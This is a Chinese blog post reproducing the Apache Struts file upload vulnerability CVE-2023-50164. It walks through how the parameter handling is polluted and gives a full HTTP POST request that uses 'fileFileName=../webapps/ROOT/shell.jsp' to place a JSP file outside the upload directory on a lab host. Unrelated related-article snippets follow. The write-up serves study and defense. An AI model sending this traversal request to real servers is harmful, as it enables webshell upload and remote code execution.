【漏洞复现】Apache Struts CVE-2023-50164

Struts2 官方披露 CVE-2023-50164 Apache Struts 文件上传漏洞,攻击者可利用该漏洞污染相关上传参数导致目录遍历,在具体代码环境中可能导致上传 Webshell,执行任意代码。

漏洞描述

Apache Struts2 是一个开源的 Java Web 应用程序开发框架,旨在帮助开发人员构建灵活、可维护和可扩展的企业级Web应用程序。近日,Struts2 官方披露 CVE-2023-50164 Apache Struts 文件上传漏洞,攻击者可利用该漏洞污染相关上传参数导致目录遍历,在具体代码环境中可能导致上传 Webshell,执行任意代码。

漏洞分析

Struts2的默认配置通常包含,该拦截器负责处理文件上传,并将文件信息封装到相应的Action属性中。FileUploadInterceptor

正常文件上传

当我们使用默认配置上传文件,尝试路径穿越将文件上传至任意目录,测试发现无法路径穿越到任意目录

图片-20231210165300222

我们在打下断点,跟进代码FileUploadInterceptor#intercept()

图片-20231210165628696

这里跟进multiWrapper.getFileNames()

图片-20231210170059050

这里继续跟进getCanonicalName()

图片-20231210170542142

发现获取文件名是通过substring方法进行截取的,通过../../进行目录穿越是不行的。

参数污染

回到中,在获取文件名后生成了两个变量和FileUploadInterceptor#intercept()contentTypeNamefileNameName

图片-20231210172857904

图片-20231210180044724

  1. 检查每一个文件是否可以被接受(根据配置规则检查,默认全部接受)

  2. 对可以接受的文件,将其文件名、内容类型和文件内容分别保存到三个List中(acceptedFileNames、acceptedContentTypes和acceptedFiles)

  3. 如果接受的文件列表不为空,则将这三个List分别封装成Parameter,并存入参数Map中:

    • 文件内容列表acceptedFiles 封装成参数 inputName
    • 内容类型列表 acceptedContentTypes 封装成参数 contentTypeName
    • 文件名列表 acceptedFileNames 封装成参数 fileNameName
  4. 最后将这个参数Map 设置到上下文的Parameters中,在中对这些参数赋值ParametersInterceptor#setParameters()

跟进ParametersInterceptor#setParameters()

图片-20231210181151414

这里采用创建参数HttpParameters.create()

而在新版本中,对HttpParameters做出了修改,变成了大小写不敏感,而在存在漏洞的版本中是大小写敏感的。

图片-20231210182522101

这导致了这里FileFileName和fileFileName会是不同的参数,都会在赋值ParametersInterceptor#setParameters()

而后面采用了使用 OGNL 表达式调用 setter 方法对变量赋值

图片-20231210183238455

OGNL 在查找 setter 方法时,会自动把属性名第一个字母变成大写,然后查找 setXxx() 这样的方法。

例如,如果你有一个属性名为 “name”,那么 OGNL 会查找 setName() 方法。在这个过程中,不管 name 在 OGNL 表达式中是大写还是小写,都可以正确找到 setter 方法。所以在 Struts 2 的 OGNL 表达式中,属性名的首字母大小写可以不敏感。

所以当我手动传入一个fileFileName参数,在这里也会被赋值,fileFileName和FileFileName参数会被自动映射到同一个参数上。调用相应的get方法获取值时,会取得最后赋值的那个参数的值。

那么这两个参数的赋值先后顺序呢?如果我们手动传入的参数会后赋值,就可以覆盖掉前面的参数,造成参数污染。

在TreeMap中,键(key)的排序是大小写敏感的。默认的排序规则如下:

  1. 大写字母会排在小写字母之前
  2. 数字会排在字母之前

所以当文件上传的name构造为大写开头,手动传入的污染参数构造为小写开头即可

图片-20231210184928102

漏洞复现

构造数据包:

POST /s2/upload.action?fileFileName=../webapps/ROOT/shell.jsp HTTP/1.1

主机:192.168.31.185:8080

内容长度:416

缓存控制:max-age=0

产地:http://192.168.31.185:8080

DNT:1

升级不安全请求:1

内容类型:multipart/form-data;边界=----WebKitFormBoundaryjYgoTIxv686oqL3F

用户代理:Mozilla/5.0 (Macintosh;Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36

接受:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

推荐人:http://192.168.31.185:8080/s2/

接受编码:gzip、deflate

接受语言:zh-CN,zh;q=0.9,en;q=0.8

连接:关闭

------WebKitFormBoundaryjYgoTIxv686oqL3F

内容处置:表单数据;name=“文件”;文件名=“测试.jsp”

内容类型:application/octet-stream

测试

------WebKitFormBoundaryjYgoTIxv686oqL3F

内容处置:表单数据;name=“提交”

提交

------WebKitFormBoundaryjYgoTIxv686oqL3F--

文件上传成功,成功路径穿越到webapps目录下!

图片-20231210185327794

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/259230.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【目标检测实验系列】YOLOv5创新点改进:融合高效轻量级网络结构GSConv,减轻模型复杂度的同时保持检测精度!(内含源代码,超详细改进代码流程)

自我介绍:本人硕士期间全程放养,目前成果:一篇北大核心CSCD录用,两篇中科院三区已见刊,一篇中科院三区在投。如何找创新点,如何放养过程厚积薄发,如何写中英论文,找期刊等等。本人后续会以自己实战经验详细…

stable diffusion webui之lora调用

1.触发词底模lora效果最好&#xff08;分数不一定要取到1&#xff0c;0.8也行&#xff09;&#xff1b; 2.引用时一定要使用<lora:>&#xff0c;例如<lora:C4D_geometry_bg_v2.5:0.8>&#xff1b; "prompt": "(masterpiece:1.3), (best quality:1.…

浅谈棉纺织厂电气防火措施及电气防火限流式保护器的应用

摘要&#xff1a;棉纺织厂属于火灾危险场所&#xff0c;在进行电气设计时要考虑并采取一定的防火措施。本文从接线、熔断器的选用、中性点接地方式的选择和接地等问题&#xff0c;介绍了电气防火的一些措施。并就引发火灾较严重的线路短路故障问题&#xff0c;介绍了电气防火限…

系统分析师(软考)知识点整理(二)

会计相关 会计是指记录、分类、汇总、计量和报告发送在企业经济活动中的财务数据的行为 #mermaid-svg-YBI5YPWzqWhRB4kI {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-YBI5YPWzqWhRB4kI .error-icon{fill:#552222…

http -- 跨域问题详解(浏览器)

参考链接 参考链接 1. 跨域报错示例 Access to XMLHttpRequest at http://127.0.0.1:3000/ from origin http://localhost:3000 has been blocked by CORS policy: Response to preflight request doesnt pass access control check: No Access-Control-Allow-Origin header…

鸿蒙原生应用再添新丁!喜马拉雅入局鸿蒙

鸿蒙原生应用再添新丁&#xff01;喜马拉雅入局鸿蒙 来自 HarmonyOS 微博12月20日消息&#xff0c; #喜马拉雅正式完成鸿蒙原生应用版本适配#&#xff0c;作为音频业巨头的喜马拉雅 &#xff0c;将基于#HarmonyOS NEXT#创造更丰富、更智慧的全场景“声音宇宙”&#xff01;#鸿…

实验4.2 默认路由和浮动静态路由的配置

实验4.2 默认路由和浮动静态路由的配置 一、任务描述二、任务分析三、具体要求四、实验拓扑五、任务实施1.路由器的基本配置。2.配置默认路由&#xff0c;实现全网互通。3.配置浮动静态路由&#xff0c;实现链路备份。 六、任务验收七、任务小结八、知识链接1&#xff0e;默认路…

【密码学】使用mkcert安装CA、自签名ssl证书,配置nginx的https 证书笔记

文章目录 证书&#xff08;CA证书&#xff0c;服务端证书&#xff0c;客户端证书&#xff09;1 安装CA1.1 下载mkcert1.2 mkcert安装和配置根证书1.3设备安装根证书 2 自签名ssl证书2.1 CA 证书过程:2.2 自签名流程2.3签发证书2.4给已有的证书请求&#xff08;.csr&#xff09;…

嵌入式中串口输入

学习目标 掌握串口初始化流程掌握串口接收逻辑了解中断接收逻辑熟练掌握串口开发流程学习内容 需求 串口接收PC机发送的数据。 串口数据接收 串口初始化 static void USART_config() {uint32_t usartx_tx_rcu = RCU_GPIOA;uint32_t usartx_tx_port = GPIOA;uint32_t usartx…

12.19_黑马数据结构与算法笔记Java

目录 203 排序算法 选择排序 204 排序算法 堆排序 205 排序算法 插入排序 206 排序算法 希尔排序 207 排序算法 归并排序 自顶至下 208 排序算法 归并排序 自下至上 209 排序算法 归并加插入 210 排序算法 单边快排 211 排序算法 双边快排 212 排序算法 快排 随机基准…

QT中网络编程之发送Http协议的Get和Post请求

文章目录 HTTP协议GET请求POST请求QT中对HTTP协议的处理1.QNetworkAccessManager2.QNetworkRequest3.QNetworkReply QT实现GET请求和POST请求Get请求步骤Post请求步骤 测试结果 使用QT的开发产品最终作为一个客户端来使用&#xff0c;很大的一个功能就是要和后端服务器进行交互…

视频号小店怎么做?起店全流程实操分享!

我是电商珠珠 视频号小店距今也不过才发展了一年时间&#xff0c;22年发展的电商平台&#xff0c;经过各种优化到了23年在电商圈激起了不小的火花。 很多想要入驻的新手&#xff0c;在前期并不了解视频号小店怎么做的&#xff0c;不知道开店之后该如何运营。 接下来&#xf…

AutoJS 实现抖音极速版福袋脚本

前言 好久没更新博客了&#xff0c;最近做了个抖音极速版福袋脚本&#xff0c;想看看能不能自动抢到&#xff0c;于是在仿照其他脚本功能做了一个&#xff0c;哈哈。利用上班时间让它自己跑&#xff0c;测试大概2-3天&#xff0c;一个福袋没抢到(也不知道是不是被检测到了)&am…

Linux学习(1)——初识Linux

目录 一、Linux的哲学思想 1.1 基础知识 1.2 根目录下的文件夹 二、Shell 1、Shell的定义 2、Shell的作用 三、Linux命令行 1、Linux通用命令行使用格式 四、Linux命令的分类 1、内部命令和外部命令的理解 2、内部命令和外部命令的区别 3、命令的执行过程 五、编辑…

C语言——内存函数的使用与模拟实现

大家好&#xff0c;我是残念&#xff0c;希望在你看完之后&#xff0c;能对你有所帮助&#xff0c;有什么不足请指正&#xff01;共同学习交流 本文由&#xff1a;残念ing 原创CSDN首发&#xff0c;如需要转载请通知 个人主页&#xff1a;残念ing-CSDN博客&#xff0c;欢迎各位…

手把手教你在 windows 上安装 Docker

前言 大家好&#xff0c;我是潇潇雨声&#xff0c;今天为大家带来一篇关于在 Windows 环境下使用 Docker 的教程。对于 Docker&#xff0c;我们可以简单地将其看作一种方便的软件安装方式&#xff0c;而无需深入涉及其复杂的概念。选择使用 Docker 主要是为了省事&#xff0c;比…

【python】在线代码混淆方案及注意事项

▒ 目录 ▒ &#x1f6eb; 导读开发环境 1️⃣ 在线网站pyob混淆操作步骤编写测试代码混淆转pyc缺点中文路径问题&#xff1a;python: Cant reopen .pyc file 2️⃣ 反编译python文件格式对比uncompyle6 3️⃣ 其它方案cpythonpython-obfuscatorPyInstaller【不推荐】pyminifie…

数据结构与算法之美学习笔记:38 | 分治算法:谈一谈大规模计算框架MapReduce中的分治思想

目录 前言如何理解分治算法&#xff1f;分治算法应用举例分析分治思想在海量数据处理中的应用解答开篇内容小结 前言 本节课程思维导图&#xff1a; MapReduce 是 Google 大数据处理的三驾马车之一&#xff0c;另外两个是 GFS&#xff08;hdfs&#xff09; 和 Bigtable(hbase)…

计算机提示vcruntime140.dll丢失的解决方法,多种修复教程分享

vcruntime140.dll是一个非常重要的动态链接库文件&#xff0c;它包含了许多运行时的函数和类。然而&#xff0c;有时候我们可能会遇到vcruntime140.dll无法继续执行代码的问题&#xff0c;这会给我们带来很大的困扰。那么&#xff0c;这个问题是什么原因导致的呢&#xff1f;又…

你知道跨站脚本攻击吗?一篇带你了解什么叫做XSS

1.XSS简介 &#xff08;1&#xff09;XSS简介 XSS作为OWASP TOP 10之一。 XSS中文叫做跨站脚本攻击&#xff08;Cross-site scripting&#xff09;&#xff0c;本名应该缩写为CSS&#xff0c;但是由于CSS&#xff08;Cascading Style Sheets&#xff0c;层叠样式脚本&#x…